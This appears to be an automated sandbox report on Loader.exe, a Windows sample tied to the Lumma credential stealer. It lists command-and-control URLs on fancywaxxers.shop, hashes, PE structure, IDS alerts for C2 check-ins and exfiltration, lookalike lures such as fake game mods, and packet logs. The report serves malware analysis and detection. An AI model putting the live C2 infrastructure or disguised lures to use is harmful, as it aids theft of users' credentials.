https://fancywaxxers.shop/api1-2	Loader.exe, 00000003.00000003.2375109855.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2374823477.00000000054CA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2374273445.00000000054C6000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2389970754.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2390049990.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2389754813.00000000054C8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/api_yU	Loader.exe, 00000003.00000003.2352050415.0000000002D55000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/apiMECn	Loader.exe, 00000003.00000003.2389970754.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2390049990.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2389754813.00000000054C8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	Loader.exe, 00000003.00000003.2377096908.00000000054B6000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2377209536.00000000054B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/kqu	Loader.exe, 00000003.00000003.2415851140.0000000002D55000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2416587052.0000000002D55000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/sl	Loader.exe, 00000003.00000003.2390068678.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop:443/api.	Loader.exe, 00000003.00000003.2337035887.0000000002CC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	Loader.exe, 00000003.00000003.2377096908.00000000054B6000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2377209536.00000000054B9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Loader.exe, 00000003.00000003.2375458875.00000000054EF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	Loader.exe, 00000003.00000003.2377096908.00000000054B6000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2377209536.00000000054B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/api-	Loader.exe, 00000003.00000003.2390068678.0000000002D55000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	Loader.exe, 00000003.00000003.2377096908.00000000054B6000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2377209536.00000000054B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/	Loader.exe, 00000003.00000003.2336916157.0000000002CDE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	Loader.exe, 00000003.00000003.2376704936.0000000005567000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Loader.exe, 00000003.00000003.2338136929.0000000005476000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338047949.0000000005479000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2338265875.0000000005476000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop:443/api	Loader.exe, 00000003.00000003.3047232037.0000000002CC3000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2337035887.0000000002CC3000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000003.2421787457.0000000002CC3000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000003.00000002.3277198269.0000000002CC6000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.80.1	fancywaxxers.shop	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582872
Start date and time:	2024-12-31 17:37:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Loader.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 51 Number of non-executed functions: 121
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Loader.exe

Simulations

Behavior and APIs

Time	Type	Description
11:38:37	API Interceptor	8x Sleep call for process: Loader.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.80.1	SW_48912.scr.exe	Get hash	malicious	FormBook	Browse	www.dejikenkyu.cyou/pmpa/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	hiranetwork.com/administrator/index.php
	downloader2.hta	Get hash	malicious	XWorm	Browse	2k8u3.org/wininit.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fancywaxxers.shop	Solara-Roblox-Executor-v3.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	Delta.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	SMmAznmdAa.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	zhMQ0hNEmb.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	2RxMkSAgZ8.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	Dl6wuWiQdg.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.112.1
	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	x6VtGfW26X.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	GTA-5-Mod-Menu-2025.exe	Get hash	malicious	LummaC	Browse	104.21.96.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	LinxOptimizer.exe	Get hash	malicious	Unknown	Browse	172.67.75.163
	Solara-Roblox-Executor-v3.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	Delta.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.52.90
	setup.msi	Get hash	malicious	Unknown	Browse	188.114.97.3
	NL Hybrid.exe	Get hash	malicious	Titanium Proxy, PureLog Stealer	Browse	104.21.24.64
	over.ps1	Get hash	malicious	Vidar	Browse	172.64.41.3
	NL Hybrid.exe	Get hash	malicious	Titanium Proxy, PureLog Stealer	Browse	172.67.217.81
	http://trezorbridge.org/	Get hash	malicious	Unknown	Browse	104.16.79.73
	http://knoxoms.com	Get hash	malicious	Unknown	Browse	188.114.97.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Solara-Roblox-Executor-v3.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	Delta.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	SMmAznmdAa.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	zhMQ0hNEmb.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	2RxMkSAgZ8.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	Dl6wuWiQdg.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.80.1
	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	PO#5_tower_Dec162024.cmd	Get hash	malicious	DBatLoader	Browse	104.21.80.1
	x6VtGfW26X.exe	Get hash	malicious	LummaC	Browse	104.21.80.1

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.827208604265299
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Loader.exe
File size:	834'048 bytes
MD5:	932410f2b859e916c9c7a8b801348466
SHA1:	f59ac63b492dbc16a7eedd3d18efc59acf21a6a7
SHA256:	17e94a7a504d2b8ab36914f0b5d2bebd9a2acd21533cfba1ca410c6594498272
SHA512:	5fe38a836bf8a9baeae6066ed33262ec8352126608b0568243feed1b770282952670c35df6e7bd77dcf296aa26a478bafd0bc9123c4b4bcceb97aba67ee4fd1c
SSDEEP:	24576:Y4dPpQPmY1dzvMoyZljM6ur1dzvMoyZljM6u+:hdPp/M5vMb3TuB5vMb3Tu+
TLSH:	480512517982C0B3CC631AB759FDA3B5562EF9600B21A9DF47D40FBE6F621C05630B2A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....rg.................H........................@.......................................@.....................................(..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40a2a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6772AADA [Mon Dec 30 14:14:50 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d6bfc0ff235c28cc21f6045af30834e6

Entrypoint Preview

Instruction
call 00007F8C74DE5EDAh
jmp 00007F8C74DE5D3Dh
mov ecx, dword ptr [004307C0h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F8C74DE5ED6h
test esi, ecx
jne 00007F8C74DE5EF8h
call 00007F8C74DE5F01h
mov ecx, eax
cmp ecx, edi
jne 00007F8C74DE5ED9h
mov ecx, BB40E64Fh
jmp 00007F8C74DE5EE0h
test esi, ecx
jne 00007F8C74DE5EDCh
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [004307C0h], ecx
not ecx
pop edi
mov dword ptr [00430800h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [0042E8C8h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [0042E884h]
xor dword ptr [ebp-04h], eax
call dword ptr [0042E880h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [0042E910h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 00431AB8h
call dword ptr [0042E8E8h]
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov al, 01h
ret
push 00030000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e6ac	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x34000	0xe8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x35000	0x1b80	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2a9a8	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x26e40	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2e820	0x14c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2479a	0x24800	e99bb4e274380b09613559d3b1a664fb	False	0.554781142979452	data	6.559742159760055	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x26000	0x9eb4	0xa000	3f1d7f6413abea491661acb746eefebf	False	0.428271484375	DOS executable (COM)	4.91372050063646	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x30000	0x2280	0x1600	112d0c9e43893ae5b7f96d23807996ac	False	0.39506392045454547	data	4.581141173428789	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x33000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x34000	0xe8	0x200	03d6bf5d1e31277fc8fb90374111d794	False	0.306640625	data	2.344915704357875	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x35000	0x1b80	0x1c00	6e4c901089600f702531dbe2643a65b6	False	0.7770647321428571	data	6.526735403310053	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.BSS	0x37000	0x4ca00	0x4ca00	a99b3517219a13803af8e050fd3ab6d9	False	1.000337734502447	data	7.999345576417738	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.BSS	0x84000	0x4ca00	0x4ca00	a99b3517219a13803af8e050fd3ab6d9	False	1.000337734502447	data	7.999345576417738	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x34060	0x87	XML 1.0 document, ASCII text	English	United States	0.8222222222222222

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CompareStringW, CreateFileW, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeConsole, FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-31T17:38:09.045715+0100	2058656	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop)	1	192.168.2.5	65173	1.1.1.1	53	UDP
2024-12-31T17:38:09.546494+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49704	104.21.80.1	443	TCP
2024-12-31T17:38:09.546494+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	104.21.80.1	443	TCP
2024-12-31T17:38:37.817926+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.80.1	443	TCP
2024-12-31T17:38:37.817926+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.80.1	443	TCP
2024-12-31T17:38:38.303746+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49781	104.21.80.1	443	TCP
2024-12-31T17:38:38.303746+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49781	104.21.80.1	443	TCP
2024-12-31T17:38:38.773454+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49781	104.21.80.1	443	TCP
2024-12-31T17:38:38.773454+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49781	104.21.80.1	443	TCP
2024-12-31T17:38:39.548056+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49792	104.21.80.1	443	TCP
2024-12-31T17:38:39.548056+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49792	104.21.80.1	443	TCP
2024-12-31T17:38:40.377926+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49792	104.21.80.1	443	TCP
2024-12-31T17:38:41.043154+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49800	104.21.80.1	443	TCP
2024-12-31T17:38:41.043154+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49800	104.21.80.1	443	TCP
2024-12-31T17:38:43.396652+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49815	104.21.80.1	443	TCP
2024-12-31T17:38:43.396652+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49815	104.21.80.1	443	TCP
2024-12-31T17:38:45.340382+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49827	104.21.80.1	443	TCP
2024-12-31T17:38:45.340382+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49827	104.21.80.1	443	TCP
2024-12-31T17:38:47.321564+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49842	104.21.80.1	443	TCP
2024-12-31T17:38:47.321564+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49842	104.21.80.1	443	TCP
2024-12-31T17:38:49.423943+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.5	49858	104.21.80.1	443	TCP
2024-12-31T17:38:49.423943+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49858	104.21.80.1	443	TCP
2024-12-31T17:38:49.900923+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49858	104.21.80.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 17:38:09.061798096 CET	49704	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:09.061851978 CET	443	49704	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:09.061917067 CET	49704	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:09.063419104 CET	49704	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:09.063429117 CET	443	49704	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:09.546410084 CET	443	49704	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:09.546494007 CET	49704	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:09.550839901 CET	49704	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:09.550856113 CET	443	49704	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:09.551166058 CET	443	49704	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:09.599746943 CET	49704	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:09.625580072 CET	49704	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:09.625636101 CET	49704	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:09.625771046 CET	443	49704	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:37.817931890 CET	443	49704	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:37.818041086 CET	443	49704	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:37.818108082 CET	49704	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:37.819994926 CET	49704	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:37.820018053 CET	443	49704	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:37.820040941 CET	49704	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:37.820046902 CET	443	49704	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:37.831331968 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:37.831358910 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:37.831492901 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:37.831782103 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:37.831798077 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.303622961 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.303745985 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:38.314930916 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:38.314945936 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.315208912 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.326278925 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:38.326278925 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:38.326368093 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.773473024 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.773531914 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.773575068 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.773602009 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:38.773611069 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.773622990 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.773659945 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:38.773674965 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.773730993 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.773762941 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.773777008 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:38.773785114 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.773802042 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:38.774180889 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.775634050 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:38.775643110 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.778109074 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.778158903 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:38.778166056 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.818531990 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:38.859980106 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.860043049 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.860152960 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.860152960 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:38.860208035 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:38.860438108 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:38.860459089 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:38.860471010 CET	49781	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:38.860476971 CET	443	49781	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:39.091208935 CET	49792	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:39.091248989 CET	443	49792	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:39.091327906 CET	49792	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:39.091658115 CET	49792	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:39.091672897 CET	443	49792	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:39.547840118 CET	443	49792	104.21.80.1	192.168.2.5
Dec 31, 2024 17:38:39.548055887 CET	49792	443	192.168.2.5	104.21.80.1
Dec 31, 2024 17:38:39.595823050 CET	49792	443	192.168.2.5	104.21.80.1
